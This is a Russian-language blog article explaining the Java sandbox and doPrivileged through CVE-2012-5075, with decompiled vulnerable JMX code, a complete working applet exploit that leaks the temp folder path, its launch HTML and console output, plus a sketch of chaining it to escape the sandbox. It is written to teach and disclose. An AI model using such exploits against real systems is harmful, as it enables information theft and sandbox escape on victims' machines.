- PVSM.RU - https://www.pvsm.ru -

Безопасность в JAVA на примере CVE-2012-5075

Сегодня 17.10.2012 Oracle выпустила очередной апдейт Java VM где были пофиксены очередные проблемы безопасности Java. После не долго анализа исходного кода было найдено несколько из них и на быструю руку был написан эксплоит для одной из них. Целью данной статьи стало то, что в русском сегменте сети практически не освещаются технические подробности связанные с безопасностью в Java. Моя цель привлечь больше российских специалистов для решение данной проблемы и помочь людям заинтересованным в изучении этой темы.

В последнее время безопасность в Java VM обсуждается и критикуется всеми крупными ИТ специалистами в области информационной безопасность. Механизмы безопасности в Java построены так, что при неправильном их использование они дают возможность злоумышленнику получить доступ к конфиденциальным данным жертвы или установить вирусное программное обеспечение. Java — это лакомый кусок злоумышленников т.к. по статистике riastat на текущий момент Java VM установлена более чем на 1 биллионе клиентских машин. И к сожалению в последнее время уязвимостей в Java находят все больше и чаще.

Сегодня мы поговорим об одном и механизмов безопасности в Java, о так называемой песочнице. А так же рассмотрим на свежем примере примере CVE-2012-5075 как работает песочница и почему при неправильном использовании механизмов песочницы Java появляются уязвимости.

Песочница создавалась как механизм для безопасного выполнения кода у клиента без последствий для самого клиента и Java VM. Не трудно преставить, что было бы если каждый желающий мог выполнить любой зловредный код на системе жертвы, остановить бизнес приложение на Java, скачивать, удалять и модифицировать любые файлы. Но к сожалению все нельзя засунуть в песочницу и построить систему в полном вакуме. Мы попросту тогда не сможем обмениваться с системой информацией. И поэтому Java VM имеет алгоритмы для обмена информацией с OS и внутри самой Java VM. Java VM записывает и читает файлы на диске, запускает процессы, обменивается служебной информацией. И чтобы Java VM могла спокойно выполнять эти действия, в песочнице был реализован doPrivileged код, который выполняется с полными привилегиями и находится в системных библиотеках Java в классе java.security.AccessController(Часть функционала JAVA реализовано в системных библиотеках написанных на Java. В данной статье идет речь о системных библиотеках которые лежат в папке lib и в jar архиве rt.jar — архив с основными классами. Любой желающий может декомпилировать код из rt.jar c помощью утилиты JD и прочитать исходный код.). Метод doPrivileged в классе имеет код

public static native <T> T doPrivileged(PrivilegedAction<T> paramPrivilegedAction)

, что говорит о том, что алгоритм безопасности построен внутри самой виртуальной машины Java. Метод doPrivileged принимает как параметр объект экземпляра класса реализующего интерфейс PrivilegedAction. Класс реализующий интерфейс PrivilegedAction должен обязательно иметь метод run который выполнится с привилегиями.

Не всегда разработчики Java используют doPrivileged метод правильно или понимают всю ответственность легшую на них. Тогда злоумышленник может отключить саму песочницу(так называемый SecurityManager), и делать, что захочет или выполнить какой-то привилегированный код. Рассмотрим код на примере класса com.sun.jmx.remote.util.EnvHelp из системных библиотек rt.jar. Код обрезан для более удобного восприятия.

import com.sun.jmx.mbeanserver.GetPropertyAction;

public static boolean computeBooleanFromString(Map<String, ?> paramMap, String paramString, boolean paramBoolean)
{
if (paramMap == null)
throw new IllegalArgumentException("env map cannot be null");
return computeBooleanFromString(paramMap, paramString, paramBoolean, false);
}

public static boolean computeBooleanFromString(Map<String, ?> paramMap, String paramString, boolean paramBoolean1, boolean paramBoolean2){
if (paramMap == null)
throw new IllegalArgumentException("env map cannot be null");
tring str = (String)paramMap.get(paramString);
if ((str == null) && (paramBoolean1))
str = (String)AccessController.doPrivileged(new GetPropertyAction(paramString));
if (str == null)
return paramBoolean2;
if (str.equalsIgnoreCase("true"))
return true;
if (str.equalsIgnoreCase("false"))
return false;
throw new IllegalArgumentException(paramString + " must be "true" or "false" instead of "" + str + """);
}

И так мы видим перегруженный метод computeBooleanFromString который принимает как параметры колекцию ключ-значение значение(где хеш строка, а значение любого типа), строку, и 2 параметра типа boolean(принимает значение true(истина) или false(ложь)).

if (paramMap == null)
throw new IllegalArgumentException("env map cannot be null"); 

Код говорит нам, что если мы передадим как параметр пустую коллекцию объектов, то Java выбросит ошибку и прекратит выполнение кода.

String str = (String)paramMap.get(paramString);

Берем строковое значение значение из нашей коллекции где как хеш выступает строка переданная в функцию computeBooleanFromString. Записываем результат в переменную str.

if ((str == null) && (paramBoolean1))
str = (String)AccessController.doPrivileged(new GetPropertyAction(paramString));

Видим, что если строка str которую вернула коллекция пустая и paramBoolean1(первый boolean параметр фунции computeBooleanFromString) имеет значение true, то мы запишем в переменную str значение из выполненного блока AccessController.doPrivileged(new GetPropertyAction(paramString)). Рассмотрим код

AccessController.doPrivileged(new GetPropertyAction(paramString))

, метод doPrivileged принимает как параметр новый экземпляр класса GetPropertyAction, который был создан с помощью конструктора принимающий как параметр строку — наш строковый параметр метода.

Рассмотрим код класса:

package com.sun.jmx.mbeanserver;

import java.security.PrivilegedAction;

public class GetPropertyAction implements PrivilegedAction<String>{
private final String key;

public GetPropertyAction(String paramString){
this.key = paramString;
}

public String run(){
return System.getProperty(this.key);
}
}

Видим, что код System.getProperty(this.key)выполняет с привилегиями, а именно читает системные настройки Java. Если выполнить данный код без doPrivileged блока, то Java VM выбросит ошибку, что для выполнения данного кода не хватает прав и прекратит дальнейшее выполнение кода.
К примеру мы можем прочитать домашнюю папку пользователя — user.home, папку с времеными файла — java.io.tmpdr. Более подробный список вы сможете найти в официальной документации Java.

Идем дальше.

if (str == null)
return paramBoolean2;
if (str.equalsIgnoreCase("true"))
return true;
if (str.equalsIgnoreCase("false"))
return false;
throw new IllegalArgumentException(paramString + " must be "true" or "false" instead of "" + str + """);
}

Видим, что если значение которое вернул doPrivileged блок пустое, то возвращаем второй параметр boolean типа. И если значение строки отлично от строк true или false, то код выбрасывает ошибку со значением нашей строки.

Теперь приступип к написанию эксплоита.

import java.util.Map;
import java.util.HashMap;
import java.lang.reflect.*;

public class Exploit extends java.applet.Applet{

public void init(){

//Проверяем, что действительно включен Java Security Manager и ява работает в песочнице
System.out.println(System.getSecurityManager().toString());

try{
//Создаем коллецию ключ - значение и заполняем ее несколькими значениями, чтобы наше код успешно выполнился и не было ошибки, что мы передает пустую коллекцию
Map<String, Integer> m = new HashMap<String, Integer>();
//Заполняем коллекцию значениями
m.put("qwqeweqwe", 1);
m.put("ewrwerewr", 2);

// Получаем объект com.sun.jmx.remote.util.EnvHelp типа Class
Class c = Class.forName("com.sun.jmx.remote.util.EnvHelp");

// С помощью reflection находим наш уязвимый метод computeBooleanFromString который принимает фактические параметры
Method mt = Class.forName("com.sun.jmx.remote.util.EnvHelp").getMethod("computeBooleanFromString",
new Class[]{Map.class, String.class, boolean.class, boolean.class}
);

//Выполняем наш метод, он возвратит нам ошибку - Exception
mt.invoke(
null, new Object[]{m, "java.io.tmpdir", true, false}
);

} catch(Exception e){
// Получаем Exception с раскрытым путем к темп папке
e.printStackTrace();
}

}
}

Компилируем, создаем html файл с содержимым:

<html>
<head>
</head>
<body>
<applet code="Exploit.class" width="300" height="300" />
</body>
</html>

Запускаем html файл в браузере и видим в консоле Java, что наш эксплоит успешно выполнился.

Java Plug-in 10.6.2.24
Using JRE version 1.7.0_06-b24 Java HotSpot(TM) Client VM
User home directory = C:Documents and SettingsАдминистратор
----------------------------------------------------
c:   clear console window
f:   finalize objects on finalization queue
g:   garbage collect
h:   display this help message
l:   dump classloader list
m:   print memory usage
o:   trigger logging
q:   hide console
r:   reload policy configuration
:   dump system and deployment properties
t:   dump thread list
v:   dump thread stack
x:   clear classloader cache
0-5: set trace level to <n>
----------------------------------------------------
un.plugin2.applet.AWTAppletSecurityManager@7af3e0
java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at corka.init(corka.java:24)
at com.sun.deploy.uitoolkit.impl.awt.AWTAppletAdapter.init(Unknown Source)
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Caused by: java.lang.IllegalArgumentException: java.io.tmpdir must be "true" or "false" instead of "C:DOCUME~19335~1LOCALS~1Temp"
at com.sun.jmx.remote.util.EnvHelp.computeBooleanFromString(Unknown Source)
... 8 more

Видим, что секурити менеджер включен(sun.plugin2.applet.AWTAppletSecurityManager@7af3e0) и полный путь к нашей темп папке C:DOCUME~19335~1LOCALS~1Temp . Ничего нам не мешает, чтобы взять и обработать эту ошибку и получить из нее сам путь к темп папке. Можно расширить работу этого эксплоита, так как мы знаем темп папку, то можем спокойно найти наш класс файл в кеше Java в темп папке. Имя файла генерируется по определенному алгоритму и подобрать его не составляет труда. Имея полный путь к классу на диске, мы можем использовать одну из последних уязвимостей в Firefox при обработке code и codebase параметров в html теге applet и выполнить с привилегиями наш класс. Тут уже мы можем отключить саму песочницу и делать все чего захотим. Но это другая история и тема отдельной статьи.

Спасибо за внимание. Жду отзывов, критики и предложений. Если тема интересна, то могу написать более подробную статью рассматривающая практически все проблемы в безопасности Java с описанием работы популярных Java эксплоитов.

Баг репорт Oracle за 17 октября 2012г: www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html [1]

Автор: nullc0de


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/java/17434

Ссылки в тексте:

[1] www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html: http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html